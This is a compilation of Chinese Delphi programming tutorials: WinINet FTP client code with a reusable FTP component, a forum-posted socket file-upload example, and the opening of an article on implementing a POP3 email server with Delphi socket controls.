Result := FtpGetFile(FFTPHandle, PChar(FTPFile), PChar(NewFile),
False, File_Attribute_Normal,
Ftp_Transfer_Type_Binary, 0);
end;

如果要知道 dwFlagsAndAttributes 参数中的变量是怎样传递的，请查阅随 Delphi 附送的 WIN32 帮助文件。

典型控制

下面的 Delphi 控制给了你一个通过 WININET FTP 部分建立可视工具的起点。只是因为，这个控制可以让您是用 Object Inspector 来定义远程服务器(RemoteServer)、用户身份(UserID)和密码(Password)。

unit Ftp1;

{ FTP example using WININET.PAS rather than
an ACTIVEX control. Requires WININET.PAS and
WININET.DLL. WININET.DLL you can get from
Microsoft, WININET.PAS is available from
www.borland.com, or with some versions of
Delphi 2.0.

You might Respond to OnNewDir events as follows:

procedure TForm1.FTP1NewDir(Sender: TObject);
begin
ListBox1.Items := MyFtp1.FindFiles; // Get the directory list
end;
}

interface

uses
Windows, Classes, WinINet,
SysUtils;

type
TMyFtp =     class(TComponent)
private
FContext: Integer;
FINet:
HInternet;
FFtpHandle: HInternet;
FCurFiles: TStringList;
FServer:
string;
FOnNewDir: TNotifyEvent;
FCurDir: string;
FUserID:
string;
FPassword: string;
function GetCurrentDirectory:
string;
procedure SetUpNewDir;
protected
destructor Destroy;
override;
public
constructor Create(AOwner: TComponent);
override;
function Connect: Boolean;
function FindFiles:
TStringList;
function ChangeDirExact(S: string): Boolean;
function
ChangeDirCustom(S: string): Boolean;
function BackOneDir:
Boolean;
function GetFile(FTPFile, NewFile: string): Boolean;
function
SendFile1(FTPFile, NewFile: string): Boolean;
function SendFile2(FTPFile,
NewFile: string): Boolean;
function CustomToFileName(S: string):
string;
published
property CurFiles: TStringList read
FCurFiles;
property CurDir: string read FCurDir;
property UserID: string
read FUserID write FUserID;
property Password: string read FPassword write
FPassword;
property Server: string read FServer write FServer;
property
OnNewDir: TNotifyEvent read FOnNewDir
write FOnNewDir;
end;

procedure Register;

implementation

uses
Dialogs;

// A few utility functions

function GetFirstToken(S: string; Token: Char): string;
var
Temp:
string;
Index: INteger;
begin
Index := Pos(Token, S);
if Index <
1 then begin
GetFirstToken :=
'';
Exit;
end;
Dec(Index);
SetLength(Temp, Index);
Move(S[1],
Temp[1], Index);
GetFirstToken := Temp;
end;

function StripFirstToken(S: string; Ch: Char): string;
var
i, Size:
Integer;
begin
i := Pos(Ch, S);
if i = 0 then begin
StripFirstToken
:= S;
Exit;
end;
Size := (Length(S) - i);
Move(S[i + 1], S[1],
Size);
SetLength(S, Size);
StripFirstToken := S;
end;

function ReverseStr(S: string): string;
var
Len: Integer;
Temp:
String;
i,j: Integer;
begin
Len := Length(S);
SetLength(Temp,
Len);
j := Len;
for i := 1 to Len do begin
Temp[i] :=
S[j];
dec(j);
end;
ReverseStr := Temp;
end;

function StripLastToken(S: string; Token: Char): string;
var
Temp:
string;
Index: INteger;
begin
SetLength(Temp, Length(S));
S :=
ReverseStr(S);
Index := Pos(Token, S);
Inc(Index);
Move(S[Index],
Temp[1], Length(S) - (Index - 1));
SetLength(Temp, Length(S) - (Index -
1));
StripLastToken := ReverseStr(Temp);
end;

procedure Register;
begin
RegisterComponents('Unleash', [TMyFtp]);
end;

constructor TMyFtp.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FCurFiles := TStringList.Create;
FINet := InternetOpen('WinINet1', 0, nil, 0, 0);
end;

destructor TMyFtp.Destroy;
begin
if FINet <> nil then
InternetCloseHandle(FINet);
if FFtpHandle <> nil then
InternetCloseHandle(FFtpHandle);
inherited Destroy;
end;

function TMyFtp.Connect: Boolean;
begin
FContext := 255;
FftpHandle := InternetConnect(FINet, PChar(FServer), 0,
PChar(FUserID), PChar(FPassWord),
Internet_Service_Ftp, 0, FContext);
if FFtpHandle = nil then
Result := False
else begin
SetUpNewDir;
Result := True;
end;
end;

function TMyFtp.GetCurrentDirectory: string;
var
Len: Integer;
S:
string;
begin
Len := 0;
ftpGetCurrentDirectory(FFTPHandle, PChar(S),
Len);
SetLength(S, Len);
ftpGetCurrentDirectory(FFTPHandle, PChar(S),
Len);
Result := S;
end;

procedure TMyFtp.SetUpNewDir;
begin
FCurDir := GetCurrentDirectory;
if Assigned(FOnNewDir) then
FOnNewDir(Self);
end;

function GetDots(NumDots: Integer): string;
var
S: string;
i:
Integer;
begin
S := '';
for i := 1 to NumDots do
S := S + '
';
Result := S;
end;

function GetFindDataStr(FindData: TWin32FindData): string;
var
S:
string;
Temp: string;
begin
case FindData.dwFileAttributes
of
FILE_ATTRIBUTE_ARCHIVE: S := 'A';
// FILE_ATTRIBUTE_COMPRESSED: S :=
'C';
FILE_ATTRIBUTE_DIRECTORY: S := 'D';
FILE_ATTRIBUTE_HIDDEN: S :=
'H';
FILE_ATTRIBUTE_NORMAL: S := 'N';
FILE_ATTRIBUTE_READONLY: S :=
'R';
FILE_ATTRIBUTE_SYSTEM: S := 'S';
FILE_ATTRIBUTE_TEMPORARY: S :=
'T';
else
S :=     IntToStr(FindData.dwFileAttributes);
end;
S := S +
GetDots(75);
Move(FindData.CFilename[0], S[6],
StrLen(FindData.CFileName));
Temp :=
IntToStr(FindData.nFileSizeLow);
Move(Temp[1], S[25],
Length(Temp));
Result := S;
end;

function TMyFtp.FindFiles: TStringList;
var
FindData:
TWin32FindData;
FindHandle: HInternet;
begin
FindHandle :=
FtpFindFirstFile(FFtphandle, '*.*',
FindData, 0, 0);
if FindHandle =         nil
then begin
Result :=
nil;
Exit;
end;
FCurFiles.Clear;
FCurFiles.Add(GetFindDataStr(FindData));
while
InternetFindnextFile(FindHandle, @FindData)
do
FCurFiles.Add(GetFindDataStr(FindData));
InternetCloseHandle(Findhandle);
GetCurrentDirectory;
Result :=
 FCurFiles;
end;

function TMyFtp.CustomToFileName(S: string): string;
const
PreSize =
6;
var
Temp: string;
TempSize: Integer;
begin
Temp :=
'';
TempSize := Length(S) - PreSize;
SetLength(Temp,
TempSize);
Move(S[PreSize], Temp[1], TempSize);
Temp :=
GetFirstToken(Temp, ' ');
Result := Temp;
end;

function TMyFtp.BackOneDir: Boolean;
var
S: string;
begin
S :=
FCurDir;
S := StripLastToken(S, '/');
if S =         '/' then begin
Result :=
False;
Exit;
end;

if S <> '' then begin
ChangeDirExact(S);
Result :=     True;
end
else begin
ChangeDirExact('/');
Result :=     True;
end;

end;

// Changes to specific directory in S
function TMyFtp.ChangeDirExact(S: string): Boolean;
begin
if S <> '' then
FtpSetCurrentDirectory(FFTPHandle, PChar(S));
Result := True;
FindFiles;
SetUpNewDir;
end;

// Assumes S has been returned by GetFindDataString;
function TMyFtp.ChangeDirCustom(S: string): Boolean;
begin
S := CustomToFileName(S);
if S <> '' then
FtpSetCurrentDirectory(FFTPHandle, PChar(S));
Result := True;
FindFiles;
SetUpNewDir;
end;

function TMyFtp.GetFile(FTPFile, NewFile: string): Boolean;
begin
Result := FtpGetFile(FFTPHandle, PChar(FTPFile), PChar(NewFile),
False, File_Attribute_Normal,
Ftp_Transfer_Type_Binary, 0);
end;

function TMyFtp.SendFile1(FTPFile, NewFile: string): Boolean;
const
Size:DWord = 3000;
var
Transfer: Bool;
Error: DWord;
S: string;
begin
Transfer := FtpPutFile(FFTPHandle, PChar(FTPFile),
PChar(NewFile),
Ftp_Transfer_Type_Binary, 0);

if not Transfer then begin
Error := GetLastError;
ShowMessage(Format('Error Number: %d. Hex: %x',
[Error, Error]));
SetLength(S, Size);
if not InternetGetLastResponseInfo(Error, PChar(S), Size) then
begin
Error := GetLastError;
ShowMessage(Format('Error Number: %d. Hex: %x',
[Error, Error]));
end;
ShowMessage(Format('Error Number: %d. Hex: %x Info: %s',
[Error, Error, S]));
end else
ShowMessage('Success');
Result := Transfer;
end;

function TMyFtp.SendFile2(FTPFile, NewFile: string): Boolean;
var
FHandle: HInternet;
begin
FHandle := FtpOpenFile(FFTPHandle, 'sam.txt', GENERIC_READ,
FTP_TRANSFER_TYPE_BINARY, 0);
if FHandle <> nil then
InternetCloseHandle(FHandle)
else
ShowMessage('Failed');
Result := True;
end;

end.


编写Internet操作

目录：

初步内容与INET句柄
打开进程取得操作句柄
开始连接
获取当前路径
获取文件/目录信息
文件的传输
范例

--------------------------------------------------------------------------------
1、初步内容与INET句柄...

让我们先来对您在FTP部分使用WININETDLL时需要编写的代码作一个做一个概括的了解。这并不是一个详尽的学习，但却能够让您进门。为了知晓这项技术，您要做的第一件事情是明白WININET.PAS中的一些函数返回的是一个叫做HINTERNET类的指针变量：

var
HINTERNET : Pointer;

这个指针扮演一个您正在使用的不同的因特网服务的句柄的角色。获得了这个句柄之后，你应当把它作为第一个参数传递给在这个进程周期[注：指FTP的整个存在时间（译者）]中调用的其他WININET函数。

您要记住的适当您在使用它的时间内要把句柄返回给系统，通常是通过调用WININET函数InternetCloseHandle来实现：

function InternetCloseHandle(hInet : HINTERNET) : BOOL; stdcall;

2、打开进程取得操作句柄...

为了让一个WININET进程开始，您可以调用InternetOpen:

function InternetOpen(
lpszCallerName : PChar;
dwAccessType : DWORD;
lpszServerName : PChar;
nServerPort :
INTERNET_PORT;
dwFlags : DWORD) : HINTERNET; stdcall;

第一个参数时打开这个进程的应用程序的名字。您可以在这个参数中传递任何您所要的任意符串。微软公司的文献声称"这个名字作为HTTP协议中的用户代理器的名字而被使用"。这个保留的参数可以设为0或空。

var
MyHandle : HINTERNET;
…
begin
MyHandle := InternetOpen('MyApp', 0, nil, 0, 0);
end;

如果您想要关于这个函数的更多信息，从 www.microsoft.com 那里下载 WININET.HLP。

3、开始连接...

打开了这这个进程之后，下一步是通过 InternetConnect 函数来连接到服务器上。

function InternetConnect(
hInet : HINTERNET; //Handle from InternetOpen
lpszServerName : PChar; //Server, i.e. www.borland.com
nServerPort : INTERNET_PORT; //Usually 0
lpszUsername : PChar; //usually anonymous
lpszPassword : PChar; //usually your email address
dwService : DWORD; //FTP, HTTP, or Gopher?
dwFlags : DWORD; //Usually 0
dwContext : DWORD): //User defined number for callback
HINTERNET; stdcall;

这里有三个可能的可以通过dwService参数传递的自说明旗标，它们是互斥的：

INTERNET_SERVICE_FTP
INTERNET_SERVICE_GOPHER
INTERNET_SERVICE_HTTP

下面是dwFlags参数的选择：

INTERNET_CONNECT_FLAG_PASSIVE

这个选项仅当您在前一个参数中传递了 INTERNET_SERVER_FTP 才有效。这时候这个参数没有其他有效的选项。

如果这个进程成功的话会返回一个有效的指针，否则它返回空。

4、获取当前路径...

当您连接上之后，您可以调用来 GetCurrentDirectory 获得当前的路径的名字：

function TMyFtp.GetCurrentDirectory : string;
var
Len:Integer;
S:string;
begin
Len:=0;
ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);
SetLength(S,
Len);
ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);
Result := S;
end;

这个函数声明如下：

function FtpGetCurrentDirectory(
hFtpSession : HINTERNET; //handle from InternetConnect
lpszCurrentDirectory : PChar; //directory returned here
varlpdwCurrentDirectory : DWORD): //buf size of 2nd parameter
BOOL; stdcall; //Trueonsuccess

如果您把最后一个参数设为 0，那么 WININET 会使用这个参数来返回路径字符串的长度。接着您可以为您的字符串分配内存，也可以在调用一次这个函数来获得路径的名字。这个过程在上面的方法中已经演示过了。（注意到*设定长度*的那个调用，Delphi 要求您在类似这样的情况下为新的长字符串分配内存！这是因为这个字符串必须在操作系统中指定值，而不是在 Delphi 应用程序中指定。结果就是Delphi不能在类似的情况下像它通常那样悄悄地为字符串分配内存）

5、获取文件/目录信息...

下面是返回在特定路径下当前可用的文件的一系列函数：

function GetFindDataStr(FindData:TWin32FindData) : string;
var
S : string;
Temp : string;
begin
case FindData.dwFileAttributes of
FILE_ATTRIBUTE_ARCHIVE : S := 'A';
// FILE_ATTRIBUTE_COMPRESSED : S := 'C';
FILE_ATTRIBUTE_DIRECTORY : S := 'D';
FILE_ATTRIBUTE_HIDDEN : S := 'H';
FILE_ATTRIBUTE_NORMAL : S := 'N';
FILE_ATTRIBUTE_READONLY : S := 'R';
FILE_ATTRIBUTE_SYSTEM : S := 'S';
FILE_ATTRIBUTE_TEMPORARY : S := 'T';
else
S := IntToStr(FindData.dwFileAttributes);
end;
S := S+GetDots(75);
Move(FindData.CFilename[0], S[6], StrLen(FindData.CFileName));
Temp := IntToStr(FindData.nFileSizeLow);
Move(Temp[1], S[25], Length(Temp));
Result := S;
end;

function TMyFtp.FindFiles : TStringList;
var
FindData : TWin32FindData;
FindHandle : HInternet;
begin
FindHandle := FtpFindFirstFile(FFtphandle, '*.*', FindData, 0, 0);
if FindHandle = nil then
begin
Result := nil;
Exit;
end;
FCurFiles.Clear;
FCurFiles.Add(GetFindDataStr(FindData));
while InternetFindnextFile(FindHandle,@FindData) do
FCurFiles.Add(GetFindDataStr(FindData));
InternetCloseHandle(Findhandle);
GetCurrentDirectory;
Result := FCurFiles;
end;

这里需要注意的关键函数是 ftpFindFirstFile, InternetFindNextFile & InternetCloseHandle。您可以像调用 Delphi 函数FindFirst、FindNext & FinClose 一样调用这些函数。特别的是，您使用函数ftpFindFirstFile来取得这个路径下的第一个函数。您可以不断地调用 InternetFindNextFile，直到函数返回"False"为止。当这个进程结束时，调用InternetCloseHandle来通知操作系统回收与这个进程相关的内存。

如果您想要更多的信息，您可以在 Delphi 帮助中查找 FindFirst。最后提醒一句：并不向前文提及的函数，TWin32FindData 并不是在 WININET.PAS 中定义的，但可以在随 Delphi 分发的 WIN32 帮助文件中找到它。它在随 Delphi 分发的WINDOWS.PAS文件中被定义。

6、文件的传输...

您可以使用 WININET.PAS 文件中的 ftpGetFile 函数来从 FTP 取回一个文件:

function FtpGetFile(
hFtpSession : HINTERNET; //Returned by InternetConnect
lpszRemoteFile : PChar; //File to get
lpszNewFile : PChar; //Where to put it on your PC
fFailIfExists : BOOL; //Over write existing files?
dwFlagsAndAttributes : DWORD; //File attribute-See Create File.
dwFlags : DWORD; //Binaryor ASCII transfer
dwContext : DWORD): //Usually zero
BOOL; stdcall; //Trueonsuccess

下面是一个如何使用该函数的例子：

function TMyFtp.GetFile(FTPFile, NewFile : string) : Boolean;
begin
Result := FtpGetFile(
FFTPHandle,
PChar(FTPFile),
PChar(NewFile),
False,
File_Attribute_Normal,
Ftp_Transfer_Type_Binary,
0);
end;

如果要知道 dwFlagsAndAttributes 参数中的变量是怎样传递的，请查阅随 Delphi 附送的WIN32帮助文件。

7、范例...

下面的 Delphi 控制给了你一个通过 WININETFTP 部分建立可视工具的起点。只是因为，这个控制可以让您是用 ObjectInspector 来定义远程服务器(RemoteServer)、用户身份(UserID)和密码(Password)。

unit Ftp1;
{ FTP example using WININET.PAS rather than
an ACTIVEX control. Requires WININET.PAS and
WININET.DLL. WININET.DLL you can get from
Microsoft, WININET.PAS is available from
www.borland.com, or with some versions of
Delphi 2.0.

You might Respond to OnNewDir events as follows:

procedure TForm1.FTP1NewDir(Sender: TObject);
begin
ListBox1.Items := MyFtp1.FindFiles; // Get the directory list
end;
}
interface

uses
Windows,Classes,WinINet,SysUtils;

type
TMyFtp =     class(TComponent)
private
FContext: Integer;
FINet:
HInternet;
FFtpHandle: HInternet;
FCurFiles: TStringList;
FServer:
string;
FOnNewDir: TNotifyEvent;
FCurDir: string;
FUserID: string;
FPassword: string;
function GetCurrentDirectory:
string;
procedure SetUpNewDir;
protected
destructor Destroy; override;
public
constructor Create(AOwner: TComponent);
override;
function Connect: Boolean;
function FindFiles: TStringList;
function
ChangeDirExact(S: string): Boolean;
function
ChangeDirCustom(S: string): Boolean;
function BackOneDir:
Boolean;
function GetFile(FTPFile, NewFile: string):
Boolean;
function SendFile1(FTPFile, NewFile: string):
Boolean;
function SendFile2(FTPFile, NewFile: string):
Boolean;
function CustomToFileName(S: string):
string;
published
property CurFiles: TStringList
read FCurFiles;
property CurDir: string read
FCurDir;
property UserID: string read FUserID write
FUserID;
property Password: string read FPassword write
FPassword;
property Server: string read FServer write
FServer;
property OnNewDir: TNotifyEvent read FOnNewDir
write FOnNewDir;
end;

procedure Register;

implementation

uses
Dialogs;

// A few utility functions

function GetFirstToken(S: string; Token: Char): string;
var
Temp: string;
Index: INteger;
begin
Index := Pos(Token,
S);
if Index < 1 then begin
GetFirstToken :=
'';
Exit;
end;
Dec(Index);
SetLength(Temp, Index);
Move(S[1], Temp[1], Index);
GetFirstToken := Temp;
end;

function StripFirstToken(S: string; Ch: Char): string;
var
i,
Size: Integer;
begin
i :=     Pos(Ch, S);
if i = 0 then
begin
StripFirstToken := S;
Exit;
end;
Size := (Length(S) - i);
Move(S[i + 1],
S[1], Size);
SetLength(S, Size);
StripFirstToken :=
S;
end;

function ReverseStr(S: string): string;
var
Len:
Integer;
Temp: String;
i,j: Integer;
begin
Len :=
 Length(S);
SetLength(Temp, Len);
j := Len;
for
i := 1 to Len do begin
Temp[i] :=
S[j];
dec(j);
end;
ReverseStr :=
Temp;
end;

function StripLastToken(S: string; Token: Char): string;
var
Temp: string;
Index: INteger;
begin
SetLength(Temp,
Length(S));
S := ReverseStr(S);
Index := Pos(Token,
S);
Inc(Index);
Move(S[Index], Temp[1], Length(S) - (Index -
1));
SetLength(Temp, Length(S) - (Index - 1));
StripLastToken := ReverseStr(Temp);
end;

procedure Register;
begin
RegisterComponents('Unleash', [TMyFtp]);
end;

constructor TMyFtp.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FCurFiles := TStringList.Create;
FINet := InternetOpen('WinINet1', 0, nil, 0, 0);
end;

destructor TMyFtp.Destroy;
begin
if FINet <> nil then
InternetCloseHandle(FINet);
if FFtpHandle <> nil then
InternetCloseHandle(FFtpHandle);
inherited Destroy;
end;

function TMyFtp.Connect: Boolean;
begin
FContext := 255;
FftpHandle := InternetConnect(FINet, PChar(FServer), 0,
PChar(FUserID), PChar(FPassWord),
Internet_Service_Ftp, 0, FContext);
if FFtpHandle = nil then
Result := False
else begin
SetUpNewDir;
Result := True;
end;
end;

function TMyFtp.GetCurrentDirectory: string;
var
Len:
Integer;
S: string;
begin
Len := 0;
ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);
SetLength(S,
Len);
ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);
Result := S;
end;

procedure TMyFtp.SetUpNewDir;
begin
FCurDir := GetCurrentDirectory;
if Assigned(FOnNewDir) then
FOnNewDir(Self);
end;

function GetDots(NumDots: Integer): string;
var
S: string;
i: Integer;
begin
S := '';
for i := 1 to NumDots do
S := S + ' ';
Result := S;
end;

function GetFindDataStr(FindData: TWin32FindData): string;
var
S: string;
Temp: string;
begin
case FindData.dwFileAttributes of
FILE_ATTRIBUTE_ARCHIVE: S := 'A';
// FILE_ATTRIBUTE_COMPRESSED: S := 'C';
FILE_ATTRIBUTE_DIRECTORY: S := 'D';
FILE_ATTRIBUTE_HIDDEN: S := 'H';
FILE_ATTRIBUTE_NORMAL: S := 'N';
FILE_ATTRIBUTE_READONLY: S := 'R';
FILE_ATTRIBUTE_SYSTEM: S := 'S';
FILE_ATTRIBUTE_TEMPORARY: S := 'T';
else
S := IntToStr(FindData.dwFileAttributes);
end;
S := S + GetDots(75);
Move(FindData.CFilename[0], S[6], StrLen(FindData.CFileName));
Temp := IntToStr(FindData.nFileSizeLow);
Move(Temp[1], S[25], Length(Temp));
Result := S;
end;

function TMyFtp.FindFiles: TStringList;
var
FindData:
TWin32FindData;
FindHandle: HInternet;
begin
FindHandle :=
  FtpFindFirstFile(FFtphandle, '*.*',
FindData, 0, 0);
if FindHandle = nil then
begin
Result := nil;
Exit;
end;
FCurFiles.Clear;
FCurFiles.Add(GetFindDataStr(FindData));
while
InternetFindnextFile(FindHandle, @FindData) do
FCurFiles.Add(GetFindDataStr(FindData));
InternetCloseHandle(Findhandle);
GetCurrentDirectory;
Result :=     FCurFiles;
end;

function TMyFtp.CustomToFileName(S: string): string;
const
PreSize = 6;
var
Temp: string;
TempSize:
Integer;
begin
Temp := '';
TempSize := Length(S) -
PreSize;
SetLength(Temp, TempSize);
Move(S[PreSize],
Temp[1], TempSize);
Temp := GetFirstToken(Temp, ' ');
Result
:= Temp;
end;

function TMyFtp.BackOneDir: Boolean;
var
S:
string;
begin
S := FCurDir;
S := StripLastToken(S,
'/');
if S = '/' then begin
Result :=
False;
Exit;
end;

  if S <> '' then begin
ChangeDirExact(S);
Result := True;
end else
begin
ChangeDirExact('/');
Result :=
True;
end;
end;

// Changes to specific directory in S
function TMyFtp.ChangeDirExact(S:
string): Boolean;
begin
if S <> '' then
FtpSetCurrentDirectory(FFTPHandle, PChar(S));
Result :=
True;
FindFiles;
SetUpNewDir;
end;

// Assumes S has been returned by GetFindDataString;
function
TMyFtp.ChangeDirCustom(S: string): Boolean;
begin
S :=
CustomToFileName(S);
if S <> '' then
FtpSetCurrentDirectory(FFTPHandle, PChar(S));
Result :=
True;
FindFiles;
SetUpNewDir;
end;

function TMyFtp.GetFile(FTPFile, NewFile: string): Boolean;
begin
Result := FtpGetFile(FFTPHandle, PChar(FTPFile), PChar(NewFile),
False, File_Attribute_Normal, Ftp_Transfer_Type_Binary, 0);
end;

function TMyFtp.SendFile1(FTPFile, NewFile: string): Boolean;
const
Size:DWord = 3000;
var
Transfer: Bool;
Error: DWord;
S: string;
begin
Transfer := FtpPutFile(FFTPHandle, PChar(FTPFile),
PChar(NewFile), Ftp_Transfer_Type_Binary, 0);
if not Transfer then begin
Error := GetLastError;
ShowMessage(Format('Error Number: %d. Hex: %x',
[Error, Error]));
SetLength(S, Size);
if not InternetGetLastResponseInfo(Error, PChar(S), Size) then
begin
Error := GetLastError;
ShowMessage(Format('Error Number: %d. Hex: %x', [Error, Error]));
end;
ShowMessage(Format('Error Number: %d. Hex: %x Info: %s', [Error, Error, S]));
end else
ShowMessage('Success');
Result := Transfer;
end;

function TMyFtp.SendFile2(FTPFile, NewFile: string): Boolean;
var
FHandle: HInternet;
begin
FHandle := FtpOpenFile(FFTPHandle, 'sam.txt', GENERIC_READ, FTP_TRANSFER_TYPE_BINARY, 0);
if FHandle <> nil then
InternetCloseHandle(FHandle)
else
ShowMessage('Failed');
Result := True;
end;

end


Socket传文件的例子

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, StdCtrls;

type
TCon = record
FileName : String;
TotalSize : Integer;
Status : Integer;
end;

PCON = ^TCON;

  TForm1 = class(TForm)
SS:
TServerSocket;
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender:
TObject);
procedure SSClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure SSClientRead(Sender:
TObject; Socket: TCustomWinSocket);
procedure
Button2Click(Sender: TObject);
private
{ Private
declarations }
public
{ Public declarations
}
end;

var
Form1: TForm1;

implementation

uses Unit2;

{$R *.DFM}

procedure TForm1.Button1Click(Sender:
TObject);
begin
SS.Port := 9000;
SS.Active := True;
end;

procedure TForm1.SSClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
var c : pcon;
begin

    c :=new(pcon);
c.FileName :=
'';
c.TotalSize :=  0 ;
c.Status := 0;
Socket.Data := c;
Socket.SendText('已经连接,请输入UPLOAD FILENAME SIZE'#13#10);

end;

procedure TForm1.SSClientRead(Sender: TObject; Socket:
TCustomWinSocket);
var C : PCON;
cmd:String;
Buffer : pointer;
nRetr
: integer;
fs : TFileStream;
const bufferSize =
1024 ;

begin
C:= Socket.Data ;
case c.Status of
0 :
begin
cmd := trim(Socket.ReceiveText) ;

if  Pos('UPLOAD ',uppercase(cmd)) >  0
then
begin
c.FileName := trim(Copy(cmd,Pos('
',cmd)+1,Length(cmd)));
c.TotalSize := StrToInt(Copy(c.FileName,Pos('
',c.FileName)+1,Length(c.FileName)));
c.FileName := trim(Copy(c.FileName,1,Pos('
',c.FileName)));
c.Status :=
1;
Socket.Data :=
C;
Socket.SendText('you can send File
!'#13#10);
end;
end;
1 :
begin
GetMem(Buffer,BufferSize);
nRetr := Socket.ReceiveBuf(Buffer^,BufferSize);

if not FIleExists('c:\'+c.FileName)
then
begin
fs :=TFileStream.Create('c:\'+c.FileName,fmCreate or
fmShareDenyNone);
fs.Seek(0,soFromBeginning);
end
else
begin
fs :=TFileStream.Create('c:\'+c.FileName,fmOpenWrite or
fmShareDenyNone);
fs.Seek(0,soFromEnd);
end;

fs.WriteBuffer(Buffer^,nRetr);

fs.Destroy;
FreeMem(Buffer);
end;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Form2.Show;
end;

end.

--------------------------------------------------------------------------------
来自：唐晓锋 时间：99-11-30 01:17:19 ID:162654
unit Unit2;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ScktComp;

type
TForm2 = class(TForm)
CS:
TClientSocket;
OpenDialog1:
TOpenDialog;
Memo1: TMemo;
Button1:
TButton;
Edit1: TEdit;
Button2:
TButton;
SendCommand: TButton;
Label1: TLabel;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure
Button2Click(Sender: TObject);
procedure
SendCommandClick(Sender: TObject);
procedure
Button3Click(Sender: TObject);
procedure CSRead(Sender:
TObject; Socket: TCustomWinSocket);
private
{
Private declarations }
public
{ Public
declarations }
end;

var
Form2: TForm2;

implementation

{$R *.DFM}
function GetFileSize(const FileName: string):integer;
var f : TFileStream;
begin
f := TFileStream.Create(FileName,fmOpenRead or fmShareDenyNone);
Result :=f.Size;
F.Free;
end;
procedure TForm2.Button1Click(Sender: TObject);
begin
with OpenDialog1 do
begin
Execute;
if FileName <> '' then
begin
Edit1.Text := 'UPLOAD '+ ExtractFileName(FileName) +' '+Inttostr(GetFileSize(FileName));
Label1.Caption := FileName;
cs.Socket.SendText(edit1.Text);
end;
end;
end;

procedure TForm2.Button2Click(Sender: TObject);
begin
CS.Active := True;

end;

procedure TForm2.SendCommandClick(Sender: TObject);
var fs :
TFileStream;
Buf : pointer;

begin
//CS.Socket.SendText(Edit1.Text+#13#10);
//Memo1.Lines.Add();
fs := TFileStream.Create(Label1.Caption ,fmOpenRead or fmShareDenyNone);

GetMem(Buf,fs.Size);
fs.Seek(0,soFromBeginning);

fs.ReadBuffer(Buf^,fs.Size);

memo1.Lines.Add('has send : '+inttostr(Cs.Socket.SendBuf(Buf^,fs.Size)));

end;

procedure TForm2.Button3Click(Sender: TObject);
begin
cs.Close;
end;

procedure TForm2.CSRead(Sender: TObject; Socket: TCustomWinSocket);
begin

Memo1.Lines.add(socket.receiveText);

end;

end.


Email 服务器的简单实现
湖南艾邦信息技术有限公司
李岳梅
---- 贵刊1999年7月26日《编程技巧》栏目刊登的《监视POP3信箱》一文介绍了直接调用WinSock函数来进行POP3网络通信从而监视有无新邮件的方法。但我们知道从Delphi 3 开始，它自带的控件中有基于Internet开发的控件。如果我们充分利用这些控件开发Internet程序则可以简化编程工作，提高效率。鉴于目前POP3客户端的软件的种类繁多，（如Outlook Express,Foxmail 以及Web 方式下的各免费邮局）,而服务器端（除Unix Email系统）很少公开原代码,下面我就向大家着重介绍一下利用 Delphi 4中Internet控件组的TClientSocket 和TServerSocket 控件来实现 Email POP3服务器端。如果您理解了Email POP3服务器的构造，相信也可以依葫芦画瓢写出Email SMTP服务器程序。在此基础上加入多线程技术使服务器能同时处理多个客户的连接请求，您就可以轻松地实现一个简单的Email服务器了。

---- 一． 设计思路

---- Email 系统采用C/S 结构。当用户想发送邮件时或收取邮件时在客户机上运行任意一个客户端程序，如Foxmail。在菜单’工具->选项’的邮件服务器里填上运行我们服务器程序的主机名。服务器主机24小时一直运行我们的服务器端程序，SMTP和POP3服务器程序分别在25端口和110端口侦听连接请求。当用户发信时，首先客户端会与服务器端建立Socket连接。然后开始一应一答的Client/Server间的通信。发信和收信时建立连接后服务器端分别要发送一个’250 OK’ 和’+OK pop3 server is ready ’的应答。客户端收到此应答后开始发送SMTP或POP3命令。POP3通信时一般最开始的命令是’user ‘和’pass’或’ apop’用以进行身份验证。注意由于POP3会话有3个状态，某些命令只在某特定状态下有效。当用户进行完所有的操作后发送一个’quit’命令。服务器端收到此命令即终止此次socket连接并继续侦听其他的连接请求。注意：POP3通信时客户端在Transaction状态下’quit’则进入update状态。如果从Authorization状态下’quit’则终止通信，而不进入Update状态。如果客户端不通过’quit’命令终止连接，POP3会话不会进入Update状态。而只有在Update状态下收到’quit’命令后服务器才会在断连前把标志为已删的邮件进行物理删除。

---- 二． 代码实现(以POP3为例)

---- 自定义TPOP类的描述：

 SessionState = ( Init,Authorization,
Transaction,Update);
TPop=class (TComponent)
public
UserName:string;//Email帐户名
PassWord:string;
//Email口令
ReceText:Pchar;
//server端收到的字符串
PopState:SessionState;
//pop状态：
init or authorization or transaction  or
update
MsgCount:integer;
//邮件总数
SizeCount:integer;
//邮件总大小
ReplyString:string;//服务器端发送的应答信息
DeleIndex:byte;//用户要删的邮件序号
ListIndex:byte;//list方法
的参数：
用户要列出的序号为listindex的邮件信息
RetrIndex:byte;//retr方法的参数：
用户要取序号为retrindex的邮件
TopIndex:byte; //top方法的参数
QuitFlag:boolean;//用户如果通过quit命断连则此变量为true;
反之（此时要把f_dele都置回0）
OldMsgCount:integer;//旧邮件数：Last 命令返回
//邮件头的各个域
HMsgId:string;
HReplyTo:string;
HDate:string;
HFrom:string;
HTo:string;
HSubject:string;
HMIME_Ver:real;
HContent_Type:string;
HContent_Transfer_Encoding:string;
HText:string;
//所有POP3服务器必须支持的命令
procedure
user;
function pass:boolean;
procedure stat;
procedure dele;
procedure list;
procedure retr;
procedure noop;
procedure rset;
procedure aquit;
procedure tquit;
//扩展的可选择实现的POP3 命令
procedure top;
procedure last;
procedure apop;
procedure
uidl;
end;
---- 1. 建立连接

---- 我们可以看到利用了Tclientsocket后客户端请求建立连接只需下面的代码。

with ClientSocket do
begin
Host := Server;
Active := True;
end;
